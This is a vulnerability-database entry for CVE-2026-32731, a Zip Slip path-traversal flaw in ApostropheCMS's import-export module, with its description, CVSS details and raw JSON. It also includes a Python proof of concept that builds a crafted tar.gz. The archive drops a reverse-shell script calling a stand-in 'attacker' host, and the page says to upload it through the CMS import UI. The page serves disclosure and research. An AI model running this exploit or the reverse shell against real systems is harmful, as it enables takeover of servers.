Security Vulnerability Report
中文
CVE-2026-32731 CVSS 9.9 CRITICAL

CVE-2026-32731

Published: 2026-03-18 23:17:30
Last Modified: 2026-03-24 21:31:54

Description

ApostropheCMS is an open-source content management framework. Prior to version 3.5.3 of `@apostrophecms/import-export`, The `extract()` function in `gzip.js` constructs file-write paths using `fs.createWriteStream(path.join(exportPath, header.name))`. `path.join()` does not resolve or sanitise traversal segments such as `../`. It concatenates them as-is, meaning a tar entry named `../../evil.js` resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened. This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted `.tar.gz` file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem. Version 3.5.3 of `@apostrophecms/import-export` fixes the issue.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apostrophecms:import-export:*:*:*:*:*:node.js:*:* - VULNERABLE
@apostrophecms/import-export < 3.5.3
ApostropheCMS (all versions using vulnerable import-export module)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import tarfile import io import os # PoC: Generate malicious .tar.gz with path traversal filename def create_malicious_tgz(): """ Create a malicious tar.gz file exploiting CVE-2026-32731 This PoC demonstrates how path traversal in tar entries can escape extraction directory """ # Create a malicious file with path traversal malicious_filename = '../../../../../../../../../tmp/evil.sh' malicious_content = b'#!/bin/bash\n# Malicious script - reverse shell or other payload\n/bin/bash -i >& /dev/tcp/attacker/4444 0>&1\n' # Create tar archive in memory tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar: # Create TarInfo with path traversal in name info = tarfile.TarInfo(name=malicious_filename) info.size = len(malicious_content) tar.addfile(info, io.BytesIO(malicious_content)) return tar_buffer.getvalue() # Alternative: Direct file write for testing def generate_poc_files(): """ Generate files needed for manual testing """ # Create malicious tar.gz tgz_content = create_malicious_tgz() with open('malicious_import.tar.gz', 'wb') as f: f.write(tgz_content) print('[+] Created: malicious_import.tar.gz') print('[+] Upload via ApostropheCMS import UI to trigger vulnerability') print('[+] File will be written to /tmp/evil.sh (or similar path based on traversal depth)') if __name__ == '__main__': generate_poc_files()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32731", "sourceIdentifier": "[email protected]", "published": "2026-03-18T23:17:29.543", "lastModified": "2026-03-24T21:31:54.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ApostropheCMS is an open-source content management framework. Prior to version 3.5.3 of `@apostrophecms/import-export`,\nThe `extract()` function in `gzip.js` constructs file-write paths using `fs.createWriteStream(path.join(exportPath, header.name))`. `path.join()` does not resolve or sanitise traversal segments such as `../`. It concatenates them as-is, meaning a tar entry named `../../evil.js` resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened. This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted `.tar.gz` file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem. Version 3.5.3 of `@apostrophecms/import-export` fixes the issue."}, {"lang": "es", "value": "ApostropheCMS es un framework de gestión de contenido de código abierto. Antes de la versión 3.5.3 de `'@apostrophecms/import-export'`, la función `'extract'`() en `'gzip.js'` construye rutas de escritura de archivos usando `'fs.createWriteStream(path.join(exportPath, header.name))'`. `'path.join'`() no resuelve ni sanitiza segmentos de recorrido como `'../'`. Los concatena tal cual, lo que significa que una entrada tar llamada `'../../evil.js'` se resuelve a una ruta fuera del directorio de extracción previsto. No se realiza ninguna comprobación de ruta canónica antes de que se abra el flujo de escritura. Esta es una vulnerabilidad Zip Slip de libro de texto. Cualquier usuario al que se le haya concedido el permiso de Modificar Contenido Global — un rol asignado rutinariamente a editores de contenido y administradores de sitios — puede cargar un archivo '.tar.gz' manipulado a través de la interfaz de usuario de importación estándar del CMS y escribir contenido controlado por el atacante en cualquier ruta que el proceso de Node.js pueda alcanzar en el sistema de archivos del host. La versión 3.5.3 de `'@apostrophecms/import-export'` soluciona el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apostrophecms:import-export:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.5.3", "matchCriteriaId": "DC368091-4E2B-454F-BFA1-96EADD6524A9"}]}]}], "references": [{"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mwxc-m426-3f78", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}